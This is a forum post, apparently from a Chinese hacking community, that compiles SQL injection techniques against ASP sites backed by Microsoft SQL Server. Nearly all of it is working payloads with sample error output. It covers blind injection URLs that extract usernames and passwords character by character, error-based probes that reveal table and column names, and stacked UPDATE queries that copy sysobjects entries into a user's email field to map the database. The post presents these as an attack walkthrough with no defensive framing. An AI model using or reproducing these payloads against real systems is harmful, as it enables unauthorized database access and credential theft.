找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 805|回复: 1

推荐:Sql脚本注射技巧整理大全

[复制链接]

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
发表于 2008-1-19 01:56:45 | 显示全部楼层
自己做沙发 爱

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
 楼主| 发表于 2008-1-18 23:49:30 | 显示全部楼层 |阅读模式
猜表过程--------------------------------------------->
猜测用户名范围:
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(name)=猜测位数)and ’1
猜测用户密码范围:
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(pwd)=猜测位数)and ’1
详细猜测:
用户名依次推算:
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))>97) and ’1
继续提交:
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))=100) and ’1
密码位推算
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(pwd,1,1))>97) and ’1
------------------------------------------------------------
常见测试方法:
www.target.com/show.asp?id=1;--(;--在sql语句中表注释)
www.target.com/show.asp?id=1 or id in (select id from admin)
如果看到管理员admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看:
SiteName:good
SiteUrl:good’ and 7=(select id from admin where len(password)=5) and ’1

这样sql语句就变成了:
select * from FriendSite where SiteName=good and SiteUrl=good’ and 7=(select id from admin where len(password)=5) and ’1’

----------------------------------------------------
第一步:
在输入用户名处输入单引号,显示
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
字符串 ’’’ 之前有未闭合的引号。
/user/wantpws.asp,行63
说明没有过滤单引号且数据库是MSSQL.

第二步:
输入a’;use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 ’80040e21’
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/user/wantpws.asp,行63
这样说明没有权限了。
第三步:
输入:a’ or name like ’fff%’;--
第四步:
在用户名处输入
ffff’ and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e37’
对象名 ’user’ 无效。
/user/wantpws.asp,行96
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a’ having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
列 ’users.ID’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/user/wantpws.asp,行63

)
现在我们知道了ffff用户的密码是111111.
下面通过语句得到数据库中的所有表名和字段名。
第五步:
输入:
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;--
同上可知id是:581577110
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了
象下面这样就可以得到第二个表的名字了
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;--
ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-11 11:03 , Processed in 0.114457 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表